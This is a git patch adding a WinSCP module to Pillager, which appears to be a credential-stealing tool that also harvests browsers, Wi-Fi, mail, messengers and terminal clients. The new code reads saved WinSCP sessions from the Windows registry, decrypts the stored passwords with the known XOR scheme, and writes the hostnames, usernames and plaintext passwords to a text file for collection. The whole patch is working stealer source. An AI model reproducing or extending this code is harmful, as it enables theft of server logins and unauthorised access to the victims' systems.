From 9da8b74def28f1b42e52b767c2c38f2fc217bf46 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E7=B0=9E=E7=B4=94?= <287182701@qq.com>
Date: Sat, 18 Nov 2023 15:18:18 +0800
Subject: [PATCH] Add WinSCP

---
 Pillager/FTP/WinSCP.cs   | 128 +++++++++++++++++++++++++++++++++++++++
 Pillager/Pillager.csproj |   1 +
 Pillager/Program.cs      |   4 ++
 3 files changed, 133 insertions(+)
 create mode 100644 Pillager/FTP/WinSCP.cs

diff --git a/Pillager/FTP/WinSCP.cs b/Pillager/FTP/WinSCP.cs
new file mode 100644
index 0000000..1db589d
--- /dev/null
+++ b/Pillager/FTP/WinSCP.cs
@@ -0,0 +1,128 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Xml;
+
+namespace Pillager.FTP
+{
+    internal class WinSCP
+    {
+        public static string FTPName = "WinSCP";
+
+        static readonly int PW_MAGIC = 0xA3;
+        static readonly char PW_FLAG = (char)0xFF;
+
+        struct Flags
+        {
+            public char flag;
+            public string remainingPass;
+        }
+
+        private static Flags DecryptNextCharacterWinSCP(string passwd)
+        {
+            Flags Flag;
+            string bases = "0123456789ABCDEF";
+
+            int firstval = bases.IndexOf(passwd[0]) * 16;
+            int secondval = bases.IndexOf(passwd[1]);
+            int Added = firstval + secondval;
+            Flag.flag = (char)(((~(Added ^ PW_MAGIC) % 256) + 256) % 256);
+            Flag.remainingPass = passwd.Substring(2);
+            return Flag;
+        }
+
+        private static string DecryptWinSCPPassword(string Host, string userName, string passWord)
+        {
+            var clearpwd = string.Empty;
+            char length;
+            string unicodeKey = userName + Host;
+            Flags Flag = DecryptNextCharacterWinSCP(passWord);
+
+            int storedFlag = Flag.flag;
+
+            if (storedFlag == PW_FLAG)
+            {
+                Flag = DecryptNextCharacterWinSCP(Flag.remainingPass);
+                Flag = DecryptNextCharacterWinSCP(Flag.remainingPass);
+                length = Flag.flag;
+            }
+            else
+            {
+                length = Flag.flag;
+            }
+
+            Flag = DecryptNextCharacterWinSCP(Flag.remainingPass);
+            Flag.remainingPass = Flag.remainingPass.Substring(Flag.flag * 2);
+
+            for (int i = 0; i < length; i++)
+            {
+                Flag = DecryptNextCharacterWinSCP(Flag.remainingPass);
+                clearpwd += Flag.flag;
+            }
+            if (storedFlag == PW_FLAG)
+            {
+                if (clearpwd.Substring(0, unicodeKey.Length) == unicodeKey)
+                {
+                    clearpwd = clearpwd.Substring(unicodeKey.Length);
+                }
+                else
+                {
+                    clearpwd = "";
+                }
+            }
+            return clearpwd;
+        }
+
+        public static string GetInfo()
+        {
+            StringBuilder sb = new StringBuilder();
+            string registry = @"Software\Martin Prikryl\WinSCP 2\Sessions";
+            var registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registry);
+            if (registryKey == null) return "";
+            foreach (string rname in registryKey.GetSubKeyNames())
+            {
+                using (var session = registryKey.OpenSubKey(rname))
+                {
+                    if (session != null)
+                    {
+                        string hostname = (session.GetValue("HostName") != null) ? session.GetValue("HostName").ToString() : "";
+                        if (!string.IsNullOrEmpty(hostname))
+                        {
+                            try
+                            {
+                                string username = session.GetValue("UserName").ToString();
+                                string password = session.GetValue("Password").ToString();
+                                sb.AppendLine("hostname: "+ hostname);
+                                sb.AppendLine("username: " + username);
+                                sb.AppendLine("rawpass: " + password);
+                                sb.AppendLine("password: " + DecryptWinSCPPassword(hostname, username, password));
+                            }
+                            catch
+                            { }
+                        }
+                    }
+                }
+            }
+
+
+            return sb.ToString();
+        }
+
+        public static void Save(string path)
+        {
+            try
+            {
+                string output = GetInfo();
+                if (!string.IsNullOrEmpty(output))
+                {
+                    string savepath = Path.Combine(path, FTPName);
+                    Directory.CreateDirectory(savepath);
+                    File.WriteAllText(Path.Combine(savepath, FTPName + ".txt"), output);
+                }
+            }
+            catch { }
+        }
+    }
+}
diff --git a/Pillager/Pillager.csproj b/Pillager/Pillager.csproj
index b2ec38c..0f7fad7 100644
--- a/Pillager/Pillager.csproj
+++ b/Pillager/Pillager.csproj
@@ -43,6 +43,7 @@
     <Compile Include="Browsers\FireFox.cs" />
     <Compile Include="Browsers\IE.cs" />
     <Compile Include="Browsers\OldSogou.cs" />
+    <Compile Include="FTP\WinSCP.cs" />
     <Compile Include="Helper\AesGcm.cs" />
     <Compile Include="Helper\Asn1Der.cs" />
     <Compile Include="Helper\BCrypt.cs" />
diff --git a/Pillager/Program.cs b/Pillager/Program.cs
index 77e4295..3dc3b49 100644
--- a/Pillager/Program.cs
+++ b/Pillager/Program.cs
@@ -1,5 +1,6 @@
 using System.IO;
 using Pillager.Browsers;
+using Pillager.FTP;
 using Pillager.Helper;
 using Pillager.Mails;
 using Pillager.Messengers;
@@ -27,6 +28,9 @@ namespace Pillager
             //Others
             Wifi.Save(savepath);
 
+            //FTP
+            WinSCP.Save(savepath);
+
             //Tools
             MobaXterm.Save(savepath);
             Xmanager.Save(savepath);